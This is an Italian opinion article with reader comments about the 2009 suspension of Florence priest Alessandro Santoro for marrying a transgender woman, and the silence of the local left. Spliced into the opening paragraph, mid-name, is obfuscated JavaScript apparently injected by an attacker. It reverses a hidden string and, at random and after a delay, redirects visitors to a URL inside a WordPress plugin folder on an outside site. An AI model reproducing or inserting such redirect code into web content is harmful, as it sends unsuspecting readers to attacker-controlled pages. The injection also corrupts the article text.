Caso Santoro, dov'è la sinistra fiorentina?

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di Nicola Novelli

FIRENZE- 1956: il vescovo di Prato, Pietro Fiordelli, definisce ‘Pubblici concubini e peccatori’ Mauro Bell (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andi e Loriana Nunziati per essersi sposati con il solo rito civile. Il fatto diventa subito di dominio nazionale e presto esce anche dai confini italiani, perché la coppia decide di denunciare il vescovo per diffamazione. In primo grado il vescovo viene condannato dalla magistratura ordinaria alla pena pecuniaria di lire 40.000, ma alla fine del processo viene assolto. L’Italia dell’opinione pubblica si spacca in due. A rimetterci la coppia che si vede costretta a cambiare città.
All’epoca gli “sposi di Prato” diventarono comunque il simbolo della protesta laica contro le ingerenze sempre più marcate della chiesa di Roma. E il processo che ne seguì riaprì questioni che si ritenevano risolte.
Oggi invece non pare scuotere granché l’opinione pubblica la vicenda di Alessandro Santoro, sospeso dal Vescovo di Firenze, dall’incarico di parroco nel quartiere periferico delle Piagge per la colpa di aver officiato con rito religioso il matrimonio di una donna nata uomo, ma rettificata all’anagrafe dal 1982.
Ironia della sorte, il matrimonio è stato officiato proprio domenica scorsa, mentre il principale partito dello schieramento progressista celebrava il rito delle primarie. Tra i contendenti anche una lista “laica”, guidata dal medico romano Ignazio Marino, che anche in Toscana aveva candidati e rappresentanti. Non uno di essi si è visto dalle parti della parrocchia di Don Santoro per testimoniare la vigilanza laica sui temi dei diritti civili.
Perché nell’atteggiamento della Curia fiorentina facilmente si potrebbe ravvisare un intento discriminatorio, e indifendibile a norma di legge, nei confronti di una cittadina che si identifica donna in quanto titolare di una posizione anagrafica regolare. Con quale motivazione la Curia non riconosce l’accesso della cittadina ai propri sacramenti? Ha il diritto, supra lege, la Chiesa Cattolica di dicriminare i cittadini per sesso, o per orientamento sessuale? Che differenza c’è tra Sandra Alvino e una qualunque credente fiorentina?
E perché la sinistra fiorentina e in particolare un partito che si auto-qualifica come Democratico non ha il coraggio di chiederne conto al Vescovo Giuseppe Betori? Perché nessuno in città sente il dovere civile di promuove una raccolta di firme, o una sottoscrizione, per sostenere un procedimento giudiziario a tutela dei diritti individuali (umani e civili) di Sandra Alvino e Fortunato Talotta, impunemente calpestati dal Vaticano?

[Fonte: Nove da Firenze]

0 Comments

  1. massimo parrini

    Ragazzi, distinguiamo la solidarietà umana da risvolti politici.

    A me non risulta che il Vescovo abbia chiesto allo Stato italiano di considerare nullo il matrimonio civile che Sandra e Fortunato hanno contratto anni fa.
    Quindi spiegatemi qual è, in questo caso, l’attacco ai diritti civili di una persona.

    Ecco la differenza tra questo caso e quello, portato da voi ad esempio, degli “sposi di Prato”.

    Far parte della Chiesa Cattolica non è un obbligo, se non se ne condividono le posizioni ne possiamo stare lontani, come da tutte le altre associazioni e club privati.

    Il gesto di Alessandro, anche se coraggioso e dettato da motivazioni condivisibili (perchè la Chiesa discrimina quando dice di riconoscersi in una persona, Gesù, che non discriminava?), è stato un gesto complessivamente inutile (quali diritti in più o in meno ha portato a Sandra?) e, per certi versi, egoistico ed irresponsabile: dato che si sapeva quali sarebbero state le conseguenze perchè mettere a rischio l’esperienza piaggese?

    Infine si tratta, ribadisco, di un fatto che emotivamente può interessare molti ma razionalmente tutto interno alla Chiesa.
    Perchè la “Sinistra fiorentina” (esiste?) dovrebbe assumersela come battaglia propria?
    In realtà, quello che si può chiedere alla fantomatica “Sinistra” (fate nomi e cognomi…) è di aiutare la Comunità piaggese, adesso, ad assumersi pienamente le proprie responsabilità ora che non hanno più il loro leader carismatico cui scaricarla addosso. Cosa che potrebbe anche essere un vantaggio, se ben gestita.
    Per quanto mi riguarda io ci sono e ci sarò, per questo.

    Questa è la mia posizione che, lo ammetto, potrebbe non essere obiettiva dato il mio passato…

    Ciao!
    Massimo Parrini

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  2. Simone Siliani

    Cari amici di Altracittà,
    sono chiamato in causa da Nicola Novelli e volentieri rispondo per rassicurarlo che ci sono, con quel po’ di voce che ho, che non è molta certamente, ma c’è. Infatti ho pubblicamente commentato il caso di don Alessandro in una intervista a Novaradio qualche giorno fa dicendo che non mi piace una Chiesa che esclude, che allontana e che discrimina e per questo non condividevo affatto l’operato di Betori. Purtroppo non è la prima volta né, temo, sarà l’ultima in cui vediamo una Chiesa istituzione comportarsi così. Personalmente penso che lo stigma con cui l’arcivescovo ha allontanato don Alessandro dalla sua parrocchia perché ha “osato” unire in matrimonio due persone che si amano ma che non corrispondono ai canoni tradizionali della famiglia cattolica, sia in contrasto con l’insegnamento cristiano dell’amore verso i più lontani. Ho scritto privatamente ad Alessandro, cui mi unisce un’amicizia di lunga data, ma questi sono fatti nostri, ovviamente. Non so se in questa vicenda fra un prete e la sua Chiesa debba entrarci la politica e la Sinistra; non ne sono molto convinto. A che titolo? Per dire cosa che possa avere una valenza politica, mentre qui siamo sul piano della catechesi sociale eventualmente, oppure in quello interno alla chiesa stessa? Non so, onestamente. Ma mi sono sentito di dire qualcosa da cristiano, da membro (ancorché, forse, anche io allontanato in quanto divorziato e risposato con rito laico) della comunità dei credenti. Tutto qui. Non so se con questo ho risposto a Novelli che, forse, si aspettava una sollevazione della Sinistra laica fiorentina. Però in questo caso preferisco parlare davvero a nome personale. Se non ricordo male Alessandro si definisce semplicemente “prete delle Piagge” (e lo sarà sempre, nonostante Betori); così in questo caso vorrei non essere Simone, politico della sinistra fiorentina, ma solo Simone, uomo, come chiosava Ernesto Balducci alla fine del suo “Uomo Planetario”. Un caro saluto
    Simone

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  3. Daniela

    Ma certo, ma è tutto normale! Ci stupiamo? Sì, un po’ sì, Sindaco Renzi, PD e co. non si preoccupano neanche di salvarsi un po’, anche solo esteticamente, la faccia. O meglio: una faccia se la salvano: quella rivolta verso i Poteri Forti, prelati compresi. Di che hanno paura?
    Ma se così PD e co. non fossero, avremmo un Governo e una classe dirigente tale da farci prendere in giro finanche nelle favelas brasiliane?
    Berlusconi (ahia!, eccolo là, è diventato retorico perfino menzionarlo) campa anche grazie a loro. E dovremmo dire, temo, noi. Nessuno forse può chiamarsene fuori.
    Ma torniamo alle Piagge: quello che si sta facendo qui in questi giorni dovrebbe essere preso per esempio. Da tutti, sempre, ovunque, dove e come il quotidiano ci trova collocati. Almeno facciamo sentire la nostra voce, ci facciamo vedere. Sveglieremo qualche coscienza o la partita ci vedrà tornare a casa con un pareggio? Sono certa che, se continuiamo così, questa amara vicenda servirà soltanto a rafforzarci. Già ci vogliamo tutti molto più bene. Per non parlare di quanto ce ne vuole e ne vogliamo a Don Alessandro…

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